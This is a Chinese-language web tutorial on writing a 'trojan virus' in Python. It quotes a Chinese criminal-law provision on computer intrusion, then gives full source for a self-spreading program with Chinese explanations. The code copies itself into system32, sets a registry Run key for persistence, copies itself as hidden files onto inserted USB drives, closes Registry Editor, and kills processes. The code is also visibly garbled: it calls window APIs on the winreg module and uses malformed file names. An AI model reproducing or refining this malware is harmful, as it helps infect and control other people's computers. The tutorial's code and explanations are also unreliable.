如何用python写一个木马病毒教学 (python写木马教程)

法律介绍:

《中华人民共和国刑法》规定,违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。提供专门用于侵入、非法控制计算机信息系统的程序、工具,或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严重的,依照前款的规定处罚。单位犯前三款罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照各该款的规定处罚

python写木马教程,python写遗传算法

代码


import os
import shutil
import winreg
import ctypes
import time

from ctypes import wintypes
from win32gui import FindWindow, SendMessage
from win32con import WM_CLOSE
from win32api import GetLogicalDriveStrings, GetDriveType, SetFileAttributes, CopyFile
from win32file import DRIVE_REMOVABLE
from win32process import CreateToolhelp32Snapshot, Process32First, Process32Next, OpenProcess, TerminateProcess, CloseHandle
from win32com.client import Dispatch

def kill_process(process_name):
    snapshot = CreateToolhelp32Snapshot(0x00000002, 0)
    pe = wintypes.PROCESSENTRY32()
    pe.dwSize = ctypes.sizeof(wintypes.PROCESSENTRY32)
    if Process32First(snapshot, ctypes.byref(pe)):
        while True:
            if pe.szExeFile.decode() == process_name:
                handle = OpenProcess(0x0001, False, pe.th32ProcessID)
                TerminateProcess(handle, -1)
                CloseHandle(handle)
            if not Process32Next(snapshot, ctypes.byref(pe)):
                break
    CloseHandle(snapshot)

def wnd_proc(hwnd, uMsg, wParam, lParam):
    if uMsg == 0x0010: # WM_CLOSE
        os._exit(0)
    elif uMsg == 0x0219: # WM_DEVICECHANGE
        if wParam == 0x8000: # DBT_DEVICEARRIVAL
            drives = GetLogicalDriveStrings()
            drives = drives.split('\x00')[:-1]
            for drive in drives:
                drive_type = GetDriveType(drive)
                if drive_type == DRIVE_REMOVABLE:
                    files = os.listdir(drive)
                    for file in files:
                        if os.path.isfile(os.path.join(drive, file)):
                            file_path = os.path.join(drive, file)
                            shutil.copy2(__file__, file_path + '*ex.e**')
                            SetFileAttributes(file_path, 0x2 + 0x4) # FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM
        elif wParam == 0x8004: # DBT_DEVICEREMOVECOMPLETE
            pass
    elif uMsg == 0x0113: # WM_TIMER
        hwnd_reg = FindWindow("RegEdit_RegEdit", "注册表编辑器")
        if hwnd_reg:
            SendMessage(hwnd_reg, WM_CLOSE, None, None)
    else:
        return 0
    return 1

def main():
    wnd_class = winreg.WNDCLASS()
    wnd_class.lpszClassName = "lieying"
    wnd_class.lpfnWndProc = wnd_proc
    wnd_class.hInstance = winreg.GetModuleHandle(None)
    wnd_class.hIcon = winreg.LoadIcon(None, 32512)
    wnd_class.hCursor = winreg.LoadCursor(None, 32512)
    wnd_class.hbrBackground = winreg.GetStockObject(1)
    wnd_class.style = 0x0002 | 0x0001 # CS_VREDRAW | CS_HREDRAW
    wnd_class.cbClsExtra = 0
    wnd_class.cbWndExtra = 0
    if not winreg.RegisterClass(wnd_class):
        return 0
    hwnd = winreg.CreateWindowEx(
        0, "lieying", "", 0x00000000, 0, 0, 0, 0, None, None, wnd_class.hInstance, None
    )
    winreg.ShowWindow(hwnd, 0)
    winreg.UpdateWindow(hwnd)
    msg = wintypes.MSG()
    while winreg.GetMessage(ctypes.byref(msg), hwnd, 0, 0):
        winreg.TranslateMessage(ctypes.byref(msg))
        winreg.DispatchMessage(ctypes.byref(msg))

if __name__ == "__main__":
    # 复制自身到系统目录
    exe_full_path = os.path.abspath(__file__)
    new_file_path = "C:\\WINDOWS\\system32\\virus*ex.e**"
    shutil.copy2(exe_full_path, new_file_path)

    # 写入注册表,实现开机启动
    key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, winreg.KEY_SET_VALUE)
    winreg.SetValueEx(key, "virus", 0, winreg.REG_SZ, new_file_path)
    winreg.CloseKey(key)

    # 设置定时器
    ctypes.windll.user32.SetTimer(None, 1, 1000, None)

    # 运行主程序
    main()

代码解释

  1. 导入必要模块与库。
  2. kill_process函数是一个使用Windows API实现的函数,用于终止指定名称的进程。它首先获取系统中所有进程的快照,然后遍历进程列表,找到指定名称的进程并终止它。这个函数提供了对进程的管理和控制能力,可以通过编程的方式来结束特定进程。
  3. wnd_proc是窗口过程函数,它是用于处理窗口消息的函数。窗口过程函数接收来自操作系统的窗口消息,并根据消息类型执行相应的操作。通过wnd_proc函数,可以实现对窗口的响应和处理,例如处理鼠标点击、键盘输入、窗口移动等操作。窗口过程函数是Windows编程中非常重要的一部分,它允许程序与用户交互,并实现各种窗口操作的功能。
  4. 在main主函数中,首先会注册一个窗口类。注册窗口类是为了定义窗口的外观和行为。在注册窗口类时,需要设置窗口类的属性,包括类名、窗口过程函数、实例句柄、图标、光标、背景等。如果注册窗口类失败,则函数会返回0,表示注册失败。注册窗口类是窗口创建的第一步,它为后续创建窗口提供了必要的信息和配置。